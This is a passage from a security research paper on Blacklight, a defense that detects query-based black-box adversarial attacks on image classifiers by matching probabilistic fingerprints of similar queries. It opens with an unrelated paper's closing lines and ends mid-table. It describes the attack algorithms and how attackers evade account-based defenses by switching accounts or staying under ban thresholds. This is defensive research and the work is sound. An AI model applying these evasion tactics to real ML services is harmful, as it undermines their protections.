field, and how they make meaningful comparison difficult, if
not outright impossible. Our work aims at bridging this gap
and helping the community gain clarity in this research field.
We hope that by releasing all our implementations, datasets,
and raw results, the community will have a reference point
to start building new approaches and will be encouraged to
evaluate them against a common framework to better discern
which novel aspects are actually improving the state of the art,
and which aspects just appear to do so.
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Abstract
Deep learning systems are known to be vulnerable to ad-

versarial examples. In particular, query-based black-box at-

tacks do not require knowledge of the deep learning model,

but can compute adversarial examples over the network

by submitting queries and inspecting returns. Recent work

largely improves the efficiency of those attacks, demonstrat-

ing their practicality on today’s ML-as-a-service platforms.

We propose Blacklight, a new defense against query-based

black-box adversarial attacks. Blacklight is driven by a fun-

damental insight: to compute adversarial examples, these at-

tacks perform iterative optimization over the network, pro-

ducing queries highly similar in the input space. Thus Black-

light detects query-based black-box attacks by detecting

highly similar queries, using an efficient similarity engine

operating on probabilistic content fingerprints. We evaluate

Blacklight against eight state-of-the-art attacks, across a vari-

ety of models and image classification tasks. Blacklight iden-

tifies them all, often after only a handful of queries. By re-

jecting all detected queries, Blacklight prevents any attack

from completing, even when persistent attackers continue

to submit queries after banned accounts or rejected queries.

Blacklight is also robust against several powerful counter-

measures, including an optimal black-box attack that approx-

imates white-box attacks in efficiency. Finally, we illustrate

how Blacklight generalizes to other domains like text classi-

fication.

1 Introduction

The vulnerability of deep neural networks (DNNs) to a va-

riety of adversarial examples is well documented. An ad-

versarial example is a maliciously modified input that looks

(nearly) identical to its original via human perception, but

gets misclassified by a DNN model. This vulnerability re-

mains a critical hurdle to the practical deployment of deep

learning systems in safety- and mission-critical applications,

such as autonomous driving or financial services.

∗Work done while visiting SAND Lab at the University of Chicago.
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Figure 1: Attack Scenario for black-box adversarial attacks.

Adversarial attacks can be broadly divided by whether

they assume white-box or black-box threat models. In the

white-box setting, the attacker has total access to the target

model, including its internal architecture, weights and param-

eters. Given a benign input, the attacker can directly compute

adversarial examples as an optimization problem. In contrast,

an attacker in the black-box setting can only interact with the

model by submitting queries and inspecting returns. Black-

box scenarios can be further divided based on the informa-

tion the classifier returns per query: score-based systems re-

turn a full probability distribution across labels, and decision-

based systems return only the output label.

The white-box threat model makes a strong assumption:

an attacker has obtained total access to the model, through

a server breach, a malicious insider, or other type of model

leak. Both security and ML communities have made con-

tinual advances in both attacks and defenses under this set-

ting – powerful attacks efficiently generate adversarial exam-

ples [12, 16, 27, 37, 71], which in turn spur work on robust

defenses that either prevent the generation of adversarial ex-

amples or detect them at inference time. While numerous ap-

proaches have been explored as defenses (e.g., model distilla-

tion [55], gradient obfuscation [8,21,47,61,65,77], adversar-

ial training [49, 82, 83], honeypots [62], and ensemble meth-

ods [68]), nearly all have been proven vulnerable to followup

attacks [4, 9–11, 28].

In contrast, black-box attacks assume a more realistic

threat model, where attackers interact with models via a

query interface such as ML-as-a-service platforms [81] (See

Fig 1). There are two types of black-box attacks. Most com-

mon are query-based attacks [5, 14, 15, 30, 53, 69], where an

attacker iteratively adapts the query input based on past query
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results from the target model, until it produces a successful

adversarial example. Numerous efforts have developed in-

creasingly efficient attacks that require fewer queries to com-

plete the attack. Unfortunately, even as these attacks grow in

efficiency and practicality, there exists no effective defense

against them. Existing defense proposals [17, 34] focus on

detecting (and banning) query accounts displaying some “ad-

versarial” behaviors. While raising the attack cost, they are

ineffective against persistent attackers who switch accounts

to evade detection and complete the attack. The second type

of black-box attacks is substitute model attacks, where an at-

tacker queries the target model to train a local model, then

tries to transfer adversarial examples from the substitute to

the target [45, 56, 57]. These are currently addressed by a

line of effective and evolving defenses, including (ensemble)

adversarial training [68, 75].

In this work, we focus on defending against query-based

black-box attacks, even when persistent attackers switch ac-

count to evade detection. The fundamental insight driving

our work is that, in order to compute adversarial examples,

query-based black-box attacks perform iterative optimiza-

tion over the network, an incremental process that produces

queries highly similar in the input space. With this in mind,

we propose Blacklight, a novel defense that detects query-

based black-box attacks using an efficient content-similarity

engine. Blacklight detects the highly similar queries as part

of the iterative optimization process in the attack1, since be-

nign queries rarely share this level of similarity. Blacklight’s

query detection is account oblivious, thus is effective no mat-

ter how many accounts an attacker uses to submit queries.

Blacklight is highly scalable and lightweight. It detects

highly similar queries generated by iterative optimization us-

ing probabilistic fingerprints, a compact hash representation

computed for each input query. We design these fingerprints

such that queries highly similar in the input space will have

large overlap in their fingerprints. As such, Blacklight iden-

tifies an (incoming) query as part of a query-based black-

box attack, if its fingerprint matches any prior fingerprint by

more than a threshold. Since we use secure one-way hashes

to compute fingerprints, even an attacker aware of our algo-

rithm cannot optimize the content perturbation of a query to

disrupt its fingerprint and avoid detection.

We evaluate the efficacy of Blacklight against eight SOTA

query-based black-box attacks, including those using gra-

dient estimation, gradient-free attacks, and those targeting

score- and decision-based models. We experiment on a range

of image-based models from MNIST to ImageNet, and use

Lp distance metrics chosen by each attack. While these

attacks typically take thousands (or tens of thousands) of

queries to converge to a successful adversarial example,

1In practice, even the most efficient black box attacks issue thousands

of queries to generate a single attack, and nearly all such queries are con-

strained to be a small perturbation away from the benign input.

Blacklight detects all of them after the first 2–9 queries2.

More importantly, Blacklight detects the large majority of

all queries associated with an attack (e.g., >90% for all non-

Boundary attacks). By rejecting these detected attack queries,

Blacklight consistently reduces the attack success rate to 0%

for all eight attacks, even when attackers persist to submit

queries despite query rejection.

Our work makes the following key contributions.

• We propose a highly scalable, lightweight attack detection

system against query-based black-box attacks, using prob-

abilistic content fingerprint-based query matching to detect

(and mitigate) individual attack query on the fly.

• We discuss and demonstrate why existing account-based

defenses are insufficient to resist persistent attackers.

• We build formal analysis of our probabilistic fingerprints

to model both attack detection rates and false positives.

• We experimentally evaluate Blacklight against eight SOTA

black-box attacks on multiple datasets and image classifi-

cation models. Not only does Blacklight detect all eight

attacks, but it does so quickly, often after only a handful of

queries, for attacks that would require several thousands of

queries to succeed.

• We illustrate how Blacklight can be generalized beyond im-

age classification, using text classification as an example.

• We finally evaluate Blacklight and show it is highly robust

against a variety of adaptive countermeasures, including

those allowing larger, human-visible perturbations. Black-

light performs well even against two types of near-optimal

attacks: “query-efficient” attacks several orders of mag-

nitude more efficient than current methods, and “perfect-

gradient” attacks that approximate white-box attacks by

perfectly estimating the loss surface at each query.

The source-code for Blacklight is available at https://

sandlab.cs.uchicago.edu/blacklight.

2 Background on Black-box Attacks

As background, we briefly overview different types of black-

box attacks and describe today’s SOTA query-based black-

box attacks (the focus of our work). We discuss existing de-

fense proposals [17, 34] later in §4.

2.1 Overview of Black-box Attacks

Existing black-box attacks can be divided into two types:

substitute model attacks and query-based black-box attacks.

In this work, we target the latter.

Substitute Model Attacks. An attacker queries a target

model repeatedly, uses the query results to build a labeled

dataset and train a substitute model to approximate classifi-

cation boundaries of the model. The attacker then generates

2The exception is the Boundary attack, which starts its query search with

an image from the target label. Blacklight detects Boundary attacks after an

average of less than 50 queries (see Table 2).
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adversarial examples on the substitute model (using a white-

box attack), hoping that they will succeed on the target model.

This attack can successfully produce untargeted adversarial

examples on small models like MNIST [56, 57], but is much

less successful when producing targeted attacks or targeting

larger models [45]. This spurs efforts to increase transferabil-

ity between substitute and target models [22, 31, 44, 76, 78].

Defending against substitute model attacks is an active

research area. Existing defenses include adversarial train-

ing [38], ensemble adversarial training [68], and adversarial

training with single-step R+FGSM attack [75]. We note that

ensemble adversarial training can be combined with Black-

light as a hybrid defense against both substitute model at-

tacks and query-based attacks (details in the Appendix §A).

Query-Based Black-Box Attacks. A more common and

effective attack is query-based black-box attacks. An attacker

queries the target model repeatedly, often remotely over a net-

work, to implement iterative optimization required to com-

pute adversarial examples. Specifically, based on the past

query results, the attacker iteratively perturbs the current

query to produce the next query, hoping to converge to a suc-

cessful adversarial example. Both gradient-estimation [14,

15,18,30,69] and gradient-free algorithms [3,5,53] were de-

veloped to reduce the number of queries required to produce

an adversarial example. While these attacks generally require

thousands to hundreds of thousands of queries to produce a

single adversarial example, they have proven to be effective,

often achieving 100% success rate even against large mod-

els. In fact, recent efforts show that these attacks can already

be successfully launched against real-world systems such as

Google Cloud Vision API [30], Clarifai [5], and real applica-

tions like traffic sign and license plate recognition [25]. Fi-

nally, recent works also leverage substitute model-based pri-

ors when configuring queries [19, 29, 33, 67], which we also

consider when evaluating Blacklight in §9.2.

2.2 SOTA Query-based Black-box Attacks

Our work targets query-based black-box attacks. We imple-

ment and test eight SOTA attacks (see Table 1). They cover

both score- and decision-based attacks, and attacks relying

on gradient estimation and those that do not. They all use Lp

bounded perturbations, a prevailing attack setting.

Gradient Estimation Gradient Estimation Free

Score-based NES - Query Limit [30] ECO [53]

Decision-based

NES - Label Only [30]

HSJA [14] QEBA [41]

Policy-Driven [79]

Boundary [6]

SurFree [51]

Table 1: We consider eight query-based black-box attacks.

NES (2 variants) [30]. NES enables efficient gradient esti-

mation using far fewer queries and applies natural evolution

strategies [73] to speed up the attack. NES has two variants:

NES query limit for score-based models and NES label-only

for decision-based models.

ECO [53]. Targeting score-based models, the attacker re-

places gradient estimation with an efficient discrete surro-

gate, leading to faster convergence.

Boundary [6]. It is the first attack targeting decision-based

models and does not use gradient estimation. To compute

the adversarial example for x0, the attacker starts from a ran-

dom sample x from the target label t, iteratively adjusts x to

“approach” x0 while remaining being classified to t, until the

difference between x0 and x is within a predefined budget.

HSJA [14]. It augments Boundary [6] with gradient ap-

proximation. In each iteration, a 2-step gradient estimation is

used to construct xt that gets closer to the decision boundary,

leading to much faster attack convergence than Boundary.

QEBA [41]. This is a variant of HSJA. Instead of estimat-

ing the full gradient vector, QEBA only estimates a core sub-

set of the gradient vector.

Policy-Driven [79]). This is another recent attack built on

top of HSJA. It applies a policy network to learn the best

optimization direction at each step.

SurFree [51]. This gradient-free attack leverages certain

geometrical properties to produce careful query trials along

diverse directions near the decision boundaries.

3 Threat Model and Design Goals

In this work, we focus on defense against query-based black-

box attacks for image classification. Our design principle

should extend to other domains, which we demonstrate in

§8.7 using text classification as an example. Here, we define

our threat model, design goals and success metrics.

Attacker. The attacker queries a target model (F) and uses

the query results to craft adversarial examples against it, i.e.,

finding the perturbed version of a benign input x0 that causes

F to misclassify it to a target label t. To do so, the attacker

repeatedly queries F with a sequence of n attack queries

x1, ...,xn. The attack is successful if

F(xn) = t and ||xn− x0||p < ε (1)

where xn is the computed adversarial example of x0 and ε is

the attacker’s perturbation budget. Existing works show that

a successful attack requires a large n, generally on the order

of 103-106. Note that while focusing on prevailing attacks

that bound perturbations by Lp distances, our defense should

extend in principle to other query-based attacks (e.g., patch,

semantic attack). We discuss in §8.3 preliminary results on

Sparse-RS [20], a query-based universal patch attack.

We make the following assumptions about the attacker:

• The attacker has no access to internal weights of F and can

only send queries to obtain outputs of F.

• The attacker has abundant computation power and re-

sources to submit millions of queries.

• The attacker controls multiple accounts and IP addresses,

and moves the attack across them if any IP addresses and/or
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accounts are banned. Measurements have shown that at-

tackers often utilize Sybil accounts [23, 40, 80].

• We begin with standard attackers who are unaware of

Blacklight. Later in §9, we consider stronger adaptive at-

tackers who apply countermeasures against Blacklight.

Defender. The defender hosts the target model F. For each

query, F can either return the full classification probability

vector or only the classification label. We only make one

assumption on the defender, that it has a finite amount of

storage for use in attack detection. In practical terms, any de-

fender storing state related to past queries has to periodically

reset the storage, e.g., every 1 or 2 days, by clearing out the

state of all past (benign) queries.

Design Goals. We target four key goals for our defense.

• The defense should detect attack queries with high accu-

racy and high coverage, while maintaining a low false

positive rate. Since answering each attack query may leak

model information, the defense should detect as many at-

tack queries as possible.

• The defense should efficiently scale to industry production

systems. For example, Facebook’s content moderation sys-

tems process an average of 300M images per day, while

those at Twitter process 340M tweets/day [13, 70].

• The defense should incur low overhead in terms of run-

time (compared to model inference runtime) and storage.

• The defense must resist persistent attackers who can

move between accounts, and/or continue submitting attack

queries after account ban or query rejection.

4 Existing Defenses and Their Limitations

There are two known defenses against query-based black-

box attacks: Stateful Detection (SD) [17] and PRADA [34].

Both are account-driven and focus on detecting/banning

query accounts that submit attack queries. We now describe

their detection methods, and discuss why these defenses (and

their variations) are insufficient to resist persistent attackers

covered by our threat model.

Stateful Detection (SD) [17]. SD inspects each query ac-

count to decide whether it is malicious or not. Given an

account A and its queries submitted so far, SD examines

whether these queries display “certain properties” related to

computation of adversarial examples. Specifically, SD com-

putes, for an incoming query q from A, the average pair-wise

latent similarity between q and its k-nearest-neighbors in A’s

past queries. If the average latent similarity exceeds a thresh-

old, SD flags A as adversarial. To compute the latent similar-

ity, SD uses a pretrained similarity encoder to convert each

query image into a latent space vector.

PRADA [34]. Originally designed to detect attacks that

steal the target model, PRADA is shown to also detect query-

based black-box attacks [17]. The key insight is that queries

sent by an attacker are expected to have a characteristic distri-
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Figure 2: Existing defenses cannot stop persistent attackers

who switch accounts to continue attack queries.

bution different from those of benign accounts. PRADA cal-

culates the query distribution of each account based on the L2

distance among queries, and defines a standard benign distri-

bution computed from a set of benign queries. If an account

A’s query distribution shifts away from the standard benign

distribution, PRADA labels A as malicious.

Vulnerability to Persistent Attacks. While SD and

PRADA could flag an attacker who use a single account to

send queries, they are ineffective against attackers holding

multiple accounts, e.g. Sybil accounts [23]. Figure 2 plots an

example where an attacker completes an attack, by switching

accounts and continuing its queries after each detection by

SD. A similar strategy would also succeed against PRADA.

The two existing defenses are limited by two factors. First,

inspecting queries per-account puts a fundamental limit on

detection speed, i.e., the number of attack queries answered

by the model before detection. For both defenses, at the time

of detection, the attacker already had tens or more attack

queries answered by the model (e.g., 52 - 54 queries for SD

and 111-115 queries for PRADA, per our experiments in Ap-

pendix Table 8). Second, both defenses are designed to “slow

down” attackers by banning their current account rather than

preventing the attack query to proceed. Given the low cost

and prevalence of sybil accounts, attackers can easily bypass

these defenses. A “reactive” strategy is shown in Figure 2,

where 6 out of 328 attack queries (or 1.8%) were detected

and rejected and 322 got answered. An alternative “proac-

tive” strategy is to first run test cases to estimate the mini-

mum # of attack queries to get the account banned (e.g., 50),

and then during the attack, send less queries per account (e.g.,

30) to evade detection completely.

Adapting Account-based Defenses. Account-based query

inspection and mitigation is ineffective against attackers with

multiple query accounts. An effective defense needs to be ac-

count oblivious. One straightforward solution is to run a ver-

sion of SD or PRADA by putting all the queries into a single

account. This solution, however, does not scale to support

production ML systems facing millions of queries per day,

because SD and PRADA’s runtime complexity grows with

the number of prior queries. Consider a query database of

1 million low-resolution images (CIFAR10), our experiments

show that, for each incoming query, SD and PRADA intro-

duce a run-time latency of 24,000% and 6,800% compared

to the normal inference latency, respectively (details in §8.6).

PRADA also faces large accuracy drop, because each incom-
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ing query produces little impact on the query distribution.

5 Blacklight

We propose Blacklight, a new defense to detect and mitigate

query-based black-box attacks against DNN models. Differ-

ent from existing defenses, Blacklight is account oblivious

and focuses on detecting individual attack queries on the fly

regardless of who sent them. Our design is driven by a fun-

damental insight that query-based black-box attacks produce

queries that are highly similar in the input space. Since be-

nign queries rarely share this level of similarity, these attacks

can be detected by identifying extremely high similarity in

queries while incurring low false positives. With this in mind,

we design Blacklight to focus on achieving fast, scalable and

robust similarity check across millions of image queries. Our

design includes two key components: (i) probabilistic con-

tent fingerprinting for fast and scalable attack detection, and

(ii) salted pixel quantization to resist adaptive attacks.

In the following, we present the fundamental insight driv-

ing our design, and the concept of probabilistic content fin-

gerprinting. Later in §6, we describe the salted pixel quanti-

zation and Blacklight’s detailed design.

5.1 Fundamental Insight: Presence of High

Similarity in Attack Queries

Blacklight exploits a fundamental insight on query-based

black-box attacks: in order to compute adversarial examples,

attackers need to perform iterative optimization over the net-

work, i.e., submitting one or more queries to the target model,

observing the query results, and using them to configure fur-

ther queries. While the specific design of iterative optimiza-

tion is algorithm-dependent3, the unified goal is to repeat-

edly refine the perturbation such that the query sequence con-

verges to an adversarial example xn satisfying eq (1). There-

fore, iterative optimization inevitably produces some queries

that are highly similar in the input space, i.e.,

there exist xk,x j,where ||xk− x j||p ≤ µ.

If µ is sufficiently smaller than the difference between most

benign images, we can accurately detect the attack by rec-

ognizing the presence of highly similar queries like (xk,x j)

within the stream of queries. Evading this type of detection

is extremely difficult (if not infeasible) since it requires every

attack query to be sufficiently dissimilar from any previous

attack queries.

We empirically verify the presence of highly similar

queries by running the eight SOTA query-based black-box

attacks (listed in Table 1) on the ImageNet classification

model. For all eight attacks, high similarity is consistently

3Some attack designs start with the original input and perturbs it towards

a misclassified target label [30, 53], while others start from an image in the

target label and work backwards towards the original input [6, 14, 30].

NES - 

Query Limit

Boundary

HSJA

X1 X2 X3 X10 X1000 X
n

... ... ...

X0

... ... ...

... ... ...

Figure 3: Examples of attack query sequence (x0,x1, ..,xn),

produced by three black-box attacks (NES, Boundary, HSJA).

While these attacks generate queries differently, the resulting

query sequences all contain some highly similar images.

observed across images in their attack query sequence. The

average L2 distance between just consecutive queries in an at-

tack sequence is already 20-380x smaller than analogous dis-

tance between benign images (estimated by randomly com-

paring 2000 pairs of benign images). Figure 3 shows some

visual examples from attack query sequences generated by

three attacks (NES-Query Limit, Boundary, HSJA). We omit

the other attacks since they produce similar results.

5.2 Fast and Scalable Similarity Check via

Probabilistic Fingerprinting

The above insight motivates us to detect query-based black-

box attacks by searching for the presence of highly similar

queries in a large stream of incoming and past queries. A key

challenge is how to run a fast and efficient similarity check.

Strawman Solutions. We first discuss two strawman solu-

tions and their problems. Earlier in §4 we discussed the query

similarity check used by SD [17] and its scalability issue.

Computing Lp distances. A naive approach would store

all past queries in a database and compare an incoming query

x to the entire database of n queries by computing their

image-level differences. Such raw comparison incurs heavy

costs both in query storage and computation, i.e., O(n). For

example, even for low resolution image queries (224×224

pixels, ImageNet), it takes 23 minutes to compare a query to

one million prior images, even using five threads on a 6-core

Intel Xeon server. This is clearly intractable in practice.

Locality-sensitive (LS) hashing. An alternative is to com-

pute a “signature” per query using LS hashes and compare

queries by their signatures. Many have used perceptual hash-

ing (e.g., PhotoDNA [2], dhash [35]), a type of LS hashes,

to match similar images for copyright resolution or child ex-

ploitation detection [2]. Using a hash table for lookup, the

runtime cost for checking each incoming query could reach

O(1) regardless of n. Unfortunately, these hashes are de-

signed to identify generic variants of an image, even those

that have undergone significant alterations. Thus they flag

similar benign queries (e.g., different frames of a video, mul-

tiple pictures of the same object) as adversarial, producing

false positives. We test dhash [35] on our attack detection and
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find that it produces over 10% false positives on the Flickr

dataset and 67% on our video dataset (§8.4). While unable to

test PhotoDNA since it is proprietary, we expect that it faces

the same issue since it focuses on detecting child exploitation

in images which requires considerable alterations.

Probabilistic Fingerprints. Blacklight overcomes these

challenges by applying probabilistic fingerprinting to detect

highly similar images. Our goal is to design a hash function

that is compact yet highly sensitive to very small changes in

the image. This dictates that we should use a highly lossy

function. Probabilistic fingerprinting achieves these proper-

ties and utilizes secure one-way hashes that cannot be eas-

ily reversed to evade detection and probabilistic downsam-

pling for efficiency. To fingerprint an image x, Blacklight

first transforms x into a set of continuous and overlapping

segments of a fixed length w, then applies a one-way hash to

each segment to produce a large set of N hash values. From

these N hash values, Blacklight chooses a small set proba-

bilistically (e.g., the top 50) as x’s probabilistic fingerprint.

Figure 4 illustrates Blacklight’s attack detection process.

For an incoming query x, Blacklight extracts its probabilistic

fingerprint and stores it in the database. Blacklight runs an ef-

ficient hash match algorithm to detect overlaps between x’s

fingerprint and those in the database. Upon detecting suffi-

cient overlap between x and an existing fingerprint y, it flags

(x, y) as a pair of attack queries.

Key Benefits. Our fingerprint scheme has the property that

any two highly similar queries will produce a near-perfect

match in their fingerprints. In other words, small changes to

an image are highly unlikely to impact its fingerprint. The

use of secure one-way hash and probabilistic downsampling

means that unless they can reverse the hashing algorithm, an

adversary cannot alter an image’s fingerprint without signifi-

cantly altering its content (further confirmed in §9.1).

Our fingerprints also greatly reduce the storage overhead

of past queries, and the computation costs of comparing

queries in similarity. Specifically, the search for highly simi-

lar queries reduces down to a hash set comparison problem,

which takes near-constant time in general (see §6).

Prior Work on Probabilistic Fingerprints. Probabilistic

fingerprints have been used for similarity detection in text

(e.g., detecting code plagiarism [7,24,59,63], network intru-

sion and malware [54, 58, 64] and spam emails [46, 84]) and

file systems [52]. The contributions of our work include i)

extending probabilistic fingerprints beyond the text domain,

ii) customizing its design to identify similar image queries to

a DNN model (see §6), and iii) a formal analysis to model

both false positives and attack detection rates and their de-

pendency on fingerprinting parameters (see §7).

6 Detailed Design of Blacklight

We now present the detailed design of Blacklight, including

preprocessing, probabilistic fingerprinting, and comparison

algorithms, which together form our proposed detector. We

also discuss options to mitigate attacks after detection. Note

that Blacklight works as an external add-on, and requires no

modifications to the DNN model.

6.1 Preprocessing: Salted Pixel Quantization

Given an incoming image query x, Blacklight first runs a

quantization function on each pixel of x. This serves two

purposes. First, it converts continuous pixel values into a

finite set of discrete values, which are then used to com-

pute hashes of x during fingerprinting. Second, quantization

increases similarity between (attack) queries. This is par-

ticularly true for black-box attacks that iteratively optimize

queries by gradually modifying every single pixel on the im-

age [6, 14, 30] – the use of quantization effectively nullifies

changes to image hashes created by these minor modifica-

tions without inducing false positives. We confirm this empir-

ically 4 and find the hash overlap between attack queries (on

CIFAR10) increases rapidly with the quantization step q to

approach 100%, while those between benign queries remain

low. Note that this step is used only for attack detection. If

the input is considered benign, the original, unaltered query

is sent to the DNN model.

Furthermore, Blacklight employs a salted pixel quantiza-

4Details in our extended version [42]
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plot the maximum fingerprint overlap between x and that of any prior query in a benign query sequence (left most) and eight

attack query sequences. Here the maximum matching is bounded by S = 50.

tion function to resist reverse engineering attacks:

Q(x,saltQ,q) = ⌊
(x+ saltQ) mod 255

q
⌋ (2)

where saltQ is a randomly generated salt image (of the same

dimensions as x) and q is the quantization step (a system

parameter). Here all pixel values of x and saltQ are normal-

ized to [0,255]. Later in §9 we show adding a random salt

improves Blacklight’s robustness against adaptive attacks.

6.2 Computing Probabilistic Fingerprints

We now describe the detailed process to compute the proba-

bilistic fingerprint on a (quantized) query image x.

Converting an image into N segments. Blacklight first

“flattens” the 2D image into a single pixel sequence by con-

catenating rows of pixels together; then applies a sliding win-

dow of fixed size w on this sequence, iteratively moving the

sliding window by p (referred to as the sliding step). This pro-

duces N = (|x|−w+p)/p overlapping pixel segments, each

of length w. Any two consecutive segments overlap by w−p

pixels, and each pixel in x is included in w/p segments.

Hashing each segment. For each segment i (i ∈ [1,N]),

Blacklight applies a secure one-way hash function (e.g.,

SHA-3 combined with a random salt value chosen by the de-

fender) and produces a hash value hi. This creates a full hash

set Hx = (h1,h2, ...,hN) for query x, with N hash entries. For

example, for CIFAR10 (|x|= 32×32×3= 3072), N = 3053

when w = 20, p = 1. An illustration of this sliding window

hashing scheme is shown in Figure 5.

Selecting a subset of hashes as the fingerprint. From

x’s full hash set Hx, Blacklight selects the top S hash values

(sorted by numerical order) as its probabilistic fingerprint,

denoted as S(Hx). Since the output distribution of the one-

way hash is random, choosing the top S hash values by nu-

merical order serves as an efficient downsampling algorithm

that is deterministic5 to the defender but unpredictable to an

adversary (since predicting the top S hash values requires pre-

dicting the full hash set).

The use of probabilistic fingerprinting puts a hard limit

on the overhead of fingerprint storage and comparison, while

5Deterministic means that the downsampled hash set holds the same

property of the full hash set: highly similar (quantized) queries will have

highly similar fingerprints. We also verified this empirically (details in our

extended version [42]).

preserving the high similarity among attack queries. Figure 6

shows a sample measurement on query similarity, for the

eight black-box attacks discussed in §2.2. Here we measure,

for each query xi in an attack sequence, the maximum num-

ber of matching hashes between xi’s fingerprint and any of

its prior queries in the same sequence. For reference, we also

compute the number of matching hashes among benign im-

ages. We see that many attack queries display fingerprints

highly similar to at least one prior query in the same se-

quence, while benign queries share minimal overlap in finger-

prints. Thus Blacklight can quickly detect black-box attacks

after seeing only a small number of queries.

6.3 Comparing and Matching Fingerprints

Upon receiving a new query x, Blacklight computes its fin-

gerprint S(Hx) and compares it to all prior fingerprints stored

in the database. If any stored fingerprint shares more than T

hash entries with S(Hx), then x is flagged as an attack image.

Here, the value of T can be configured to meet the desired

false positive rate. Later in §7, we analytically show that by

properly configuring T and S, we can achieve accurate attack

detection at a low false positive rate.

Computing the maximum overlap between the fingerprint

of a query and n stored fingerprints is non-trivial. A simple

algorithm would incur computation cost of O(n). We use a

better algorithm which stores a query x’s fingerprint into a

hashmap using each of its hash entry as a key. The maxi-

mum overlap with all n queries can be found by retrieving

all queries associated with each key in x’s fingerprints, and

counting the max frequency of any query in that set. An ef-

ficient implementation can produce average runtime that is

a constant independent of n. We leave the design and analy-

sis of an efficient hashset matching algorithm to future work.

We present detailed performance overheads in §8.6.

6.4 Mitigating Attacks after Detection

Detecting the presence of a query-based black-box attack is

just a first step in protecting DNN models. A persistent at-

tacker can simply switch accounts and/or IP addresses and

continue with additional queries. Here, we discuss options

for mitigation after an attack is detected.

Ban accounts. As a response, banning an account or block-

ing an IP address is not ideal. First, it means each false pos-

itive incurs a high penalty, which might be undesirable in

USENIX Association 31st USENIX Security Symposium    2123



 0#
 o

f 
a

tt
a

c
k
 q

u
e

ri
e

s
 

 g
e

t 
a

n
s
w

e
re

d

Time Attack never succeeds

PRADA

SD

Blacklight

 322
# of queries needed for attack to succeed

Attack query detected and rejected

Figure 7: By detecting/rejecting most of attack queries (re-

gardless of account usage), Blacklight effectively resists per-

sist attackers, which existing defenses fail to address.

some application settings. Second, this does little to deter re-

source rich attackers, who can continue the attack using Sybil

accounts, which are difficult to eradicate in practice.

Return misguided outputs. We also consider a more elab-

orate scheme where the defender intentionally misleads the

attacker by returning carefully biased query outputs, perhaps

towards secondary goals like identifying the attacker. This

approach faces additional challenges. First, crafting biased

responses requires significantly more computation and state-

keeping at the defender. Second, the defender must be careful

to avoid returning valid responses to actual attack queries.

Reject all detected queries. Ultimately we chose a sim-

ple strategy: reject all detected attack queries. This mitiga-

tion is effective in preventing attacks IFF the ratio of attack

queries detected is high. If most attack queries are rejected,

the attack sequence takes a very long time to converge and

succeed. The benefit of this approach is that it does not rely

on detecting or reducing Sybil accounts, and false positives

have minimal impact on benign users.

In §8, we evaluate the impact of mitigation on persistent

attackers who continue to submit attack queries after query

rejection. Figure 7 provides a preview in terms of the # of at-

tack queries got answered under Blacklight, using the persis-

tent attack trace of Figure 2. Blacklight rejects almost all the

attack queries, preventing the attack from making progress.

7 Formal Analysis

We formally examine Blacklight by modeling the process

of probabilistic fingerprinting. We derive analytical bounds

on Q(∆), the probability of Blacklight flagging a query

pair (x,y) as attacks, as a function of the full hash differ-

ence between the two, ∆ = diff(Hx,Hy). We then estimate

Blacklight’s false positive rate and attack detection rate by

Q(∆benign) and Q(∆attack). Here ∆benign is the minimum full

hash difference between benign queries and ∆attack is the

maximum full hash difference between attack queries. Our

key results are: (i) Q(∆) decays fast with ∆, (ii) Black-

light can detect attacks at a low false positive rate, i.e.,

Q(∆attack) → 1, Q(∆benign) → 0, if ∆benign >> ∆attack, (iii)

the bound on Q(∆) can guide the selection of Blacklight’s

configuration parameters (w, p, q, S and T). We leave the

detailed analysis and proof to the extended version [42].

8 Experimental Evaluation

Using four different image classification tasks (and datasets),

we empirically evaluate Blacklight against eight SOTA black-

box attacks. Our experiments seek to understand 1) the effec-

tiveness of Blacklight in both attack detection and mitigation;

2) the false positive rate under realistic settings; 3) impact of

Blacklight configuration; 4) Blacklight’s storage and compu-

tation cost; 5) applying Blacklight to other domain.

8.1 Experimental Setup

We apply Blacklight to protect DNN models developed for

image classification. Our experiments cover a wide range

of input size/content and model architectures, allowing us to

evaluate Blacklight under a diverse set of conditions. We in-

clude the detailed model architectures and training configu-

rations, attack parameters and distance metrics, and Black-

light’s parameter settings in the extended version [42].

Image Classification Tasks. We consider four represen-

tative tasks: MNIST [39], GTSRB [66], CIFAR10 [36] and

ImageNet [60]. We summarize in Appendix §C these tasks

and their associated models in Table 9.

Attack Configurations. We implement and run the eight

black-box attacks list in Table 1 against each of the above

four classification models. For MNIST, GTSRB and CIFAR10,

we randomly select 1000 images from their test datasets and

use each as the source image of the attack (i.e. x0). For

ImageNet, we randomly select 500 source images (due to its

higher computation cost). We run each attack until it termi-

nates (i.e., successfully generating an adversarial example)

or reaches 100K queries, whichever occurs first.

When configuring each attack, we follow its original paper

and use the same Lp distance metric (L2 or L∞) stated in the

paper. Since L2 distance depends on model input size, we use

the normalized L2 distance
√

1
|x| ∑

|x|

i=0(xi− x′i)
2.

We set the perturbation budget ε such that most attacks

succeed in absence of defenses. For reference, the standard

ε for white-box attacks is 0.03 for L∞ and <0.03 for nor-

malized L2 [12]. Thus black-box attacks should use a larger

budget because they are naturally harder to succeed – our

experiments on the eight SOTA black-box attacks confirm

that a budget of 0.03 leads to significant attack failures. Thus

we increase ε=0.05 for both L∞ and normalized L2 to allow

most attacks to succeed. The only exceptions are L∞ attacks

against MNIST since ε=0.1 is necessary for them to succeed.

Blacklight Configuration. To demonstrate the generality

of Blacklight, we set these parameters to be the same default

values for all four tasks, rather than “optimizing” them per

task. The only exception is w – our default value is 20, but we

increase it to 50 for MNIST (due to its large black background)

and ImageNet (due to its large image size).

We choose these values following our formal analysis. In

particular, we choose T = S/2 = 25 by modeling how T af-
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Task Attack
w. Detection w. Mitigation w/o Blacklight

Attack

detect %

Detection

coverage

Avg queries

to detection

Attack

success

Attack

success

Avg # attack

queries

MNIST

NES - QL 100% 99.5% 2 0% 45% 66540

NES - LO 100% 99.0% 2 0% 1% 95973

Boundary 100% 64.2% 18 0% 21% 85467

ECO 100% 99.9% 2 0% 43% 52780

HSJA 100% 98.1% 6 0% 59% 9924

QEBA 100% 98.4% 8 0% 92% 12141

SurFree 100% 97.9% 7 0% 84% 10034

Policy-Driven 100% 99.0% 8 0% 74% 9538

GTSRB

NES - QL 100% 98.5% 2 0% 66% 48429

NES - LO 100% 98.0% 3 0% 17% 83823

Boundary 100% 64.3% 22 0% 37% 76643

ECO 100% 100.0% 2 0% 80% 27782

HSJA 100% 98.2% 5 0% 95% 10392

QEBA 100% 99.5% 8 0% 99% 9832

